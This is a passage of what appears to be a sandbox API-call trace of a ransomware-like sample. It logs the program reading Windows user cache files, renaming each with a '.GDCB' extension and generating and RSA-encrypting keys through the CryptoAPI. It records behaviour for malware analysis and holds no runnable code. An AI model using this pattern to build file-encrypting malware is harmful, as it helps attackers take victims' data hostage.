Data\\Microsoft\\Windows\\PRICache\\Microsoft.XboxGameCallableUI_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\2107319684\\2467780804.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.xboxgamecallableui_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\2107319684\\2467780804.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0290.249] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd4a0000 [0290.252] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd4b0000 [0290.255] ReadFile (in: hFile=0x508, lpBuffer=0xd4b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285db80, lpOverlapped=0x0 | out: lpBuffer=0xd4b0000*, lpNumberOfBytesRead=0x285db80*=0x22d0, lpOverlapped=0x0) returned 1 [0290.265] VirtualAlloc (lpAddress=0x0, dwSize=0x22d0, flAllocationType=0x3000, flProtect=0x4) returned 0xd5c0000 [0290.272] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.XboxGameCallableUI_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\2107319684\\2467780804.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.xboxgamecallableui_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\2107319684\\2467780804.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.XboxGameCallableUI_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\2107319684\\2467780804.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.xboxgamecallableui_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\2107319684\\2467780804.pri.gdcb")) returned 1 [0290.281] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4980) returned 1 [0290.285] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.287] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.287] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0290.287] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0290.287] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0290.290] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.293] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.293] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0290.293] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.294] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0290.296] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a9f30) returned 1 [0290.296] CryptGetKeyParam (in: hKey=0x67a9f30, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0290.296] CryptEncrypt (in: hKey=0x67a9f30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd480000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd480000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0290.296] GetLastError () returned 0x0 [0290.297] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.297] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0290.299] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a9f70) returned 1 [0290.299] CryptGetKeyParam (in: hKey=0x67a9f70, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0290.299] CryptEncrypt (in: hKey=0x67a9f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd490000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd490000*, pdwDataLen=0x285db40*=0x100) returned 1 [0290.299] GetLastError () returned 0x0 [0290.299] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0290.299] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.XboxIdentityProvider_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\860568095\\965632691.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.xboxidentityprovider_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\860568095\\965632691.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0290.300] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd4a0000 [0290.304] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd4b0000 [0290.306] ReadFile (in: hFile=0x508, lpBuffer=0xd4b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285db80, lpOverlapped=0x0 | out: lpBuffer=0xd4b0000*, lpNumberOfBytesRead=0x285db80*=0x20a0, lpOverlapped=0x0) returned 1 [0290.315] VirtualAlloc (lpAddress=0x0, dwSize=0x20a0, flAllocationType=0x3000, flProtect=0x4) returned 0xd5c0000 [0290.322] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.XboxIdentityProvider_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\860568095\\965632691.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.xboxidentityprovider_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\860568095\\965632691.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.XboxIdentityProvider_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\860568095\\965632691.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.xboxidentityprovider_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\860568095\\965632691.pri.gdcb")) returned 1 [0290.328] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0290.332] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.334] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.334] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0290.334] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0290.334] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0290.337] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.339] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.339] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0290.339] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.340] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0290.342] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a9970) returned 1 [0290.342] CryptGetKeyParam (in: hKey=0x67a9970, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0290.342] CryptEncrypt (in: hKey=0x67a9970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd480000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd480000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0290.343] GetLastError () returned 0x0 [0290.343] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0290.343] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0290.345] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a99f0) returned 1 [0290.345] CryptGetKeyParam (in: hKey=0x67a99f0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0290.345] CryptEncrypt (in: hKey=0x67a99f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd490000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd490000*, pdwDataLen=0x285db40*=0x100) returned 1 [0290.345] GetLastError () returned 0x0 [0290.345] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.345] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Windows.ContactSupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\2646675675\\806068533.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\windows.contactsupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\2646675675\\806068533.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0290.346] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd4a0000 [0290.350] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd4b0000 [0290.354] ReadFile (in: hFile=0x508, lpBuffer=0xd4b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285db80, lpOverlapped=0x0 | out: lpBuffer=0xd4b0000*, lpNumberOfBytesRead=0x285db80*=0x11f0, lpOverlapped=0x0) returned 1 [0290.362] VirtualAlloc (lpAddress=0x0, dwSize=0x11f0, flAllocationType=0x3000, flProtect=0x4) returned 0xd5c0000 [0290.368] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Windows.ContactSupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\2646675675\\806068533.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\windows.contactsupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\2646675675\\806068533.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Windows.ContactSupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\2646675675\\806068533.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\windows.contactsupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\2646675675\\806068533.pri.gdcb")) returned 1 [0290.388] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0290.393] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.395] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.395] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0290.395] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.395] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0290.398] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.401] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.401] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0290.401] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0290.401] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0290.404] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67a9d30) returned 1 [0290.404] CryptGetKeyParam (in: hKey=0x67a9d30, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0290.404] CryptEncrypt (in: hKey=0x67a9d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd480000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0xd480000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0290.405] GetLastError () returned 0x0 [0290.405] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.405] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0290.407] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67aa0b0) returned 1 [0290.407] CryptGetKeyParam (in: hKey=0x67aa0b0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0290.407] CryptEncrypt (in: hKey=0x67aa0b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd490000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0xd490000*, pdwDataLen=0x285e050*=0x100) returned 1 [0290.407] GetLastError () returned 0x0 [0290.407] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.407] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0290.431] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0290.435] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.439] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.439] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0290.439] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.439] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0290.443] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.445] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.445] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0290.445] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.446] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4980) returned 1 [0290.448] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67a8bf0) returned 1 [0290.448] CryptGetKeyParam (in: hKey=0x67a8bf0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0290.448] CryptEncrypt (in: hKey=0x67a8bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd4a0000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xd4a0000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0290.448] GetLastError () returned 0x0 [0290.448] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0290.448] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4e48) returned 1 [0290.451] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67a9a30) returned 1 [0290.451] CryptGetKeyParam (in: hKey=0x67a9a30, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0290.451] CryptEncrypt (in: hKey=0x67a9a30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd4b0000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xd4b0000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0290.451] GetLastError () returned 0x0 [0290.451] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0290.451] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\usrclass.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0290.455] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0290.458] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.460] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.461] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0290.461] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0290.461] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0290.463] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.465] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.465] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0290.465] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.466] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4980) returned 1 [0290.468] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67a9ff0) returned 1 [0290.468] CryptGetKeyParam (in: hKey=0x67a9ff0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0290.468] CryptEncrypt (in: hKey=0x67a9ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd4c0000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0xd4c0000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0290.468] GetLastError () returned 0x0 [0290.468] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0290.468] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0290.470] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67a9a70) returned 1 [0290.470] CryptGetKeyParam (in: hKey=0x67a9a70, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0290.470] CryptEncrypt (in: hKey=0x67a9a70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd4d0000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0xd4d0000*, pdwDataLen=0x285e050*=0x100) returned 1 [0290.470] GetLastError () returned 0x0 [0290.470] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.470] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V01.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v01.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0290.473] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0290.476] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.478] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.478] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0290.478] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0290.478] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0290.481] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.483] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.483] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0290.483] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.484] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4980) returned 1 [0290.486] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67aa4f0) returned 1 [0290.486] CryptGetKeyParam (in: hKey=0x67aa4f0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0290.486] CryptEncrypt (in: hKey=0x67aa4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd4e0000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0xd4e0000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0290.486] GetLastError () returned 0x0 [0290.486] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0290.486] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0290.488] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67aa830) returned 1 [0290.488] CryptGetKeyParam (in: hKey=0x67aa830, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0290.488] CryptEncrypt (in: hKey=0x67aa830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd4f0000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0xd4f0000*, pdwDataLen=0x285e050*=0x100) returned 1 [0290.488] GetLastError () returned 0x0 [0290.488] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.488] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V01tmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application 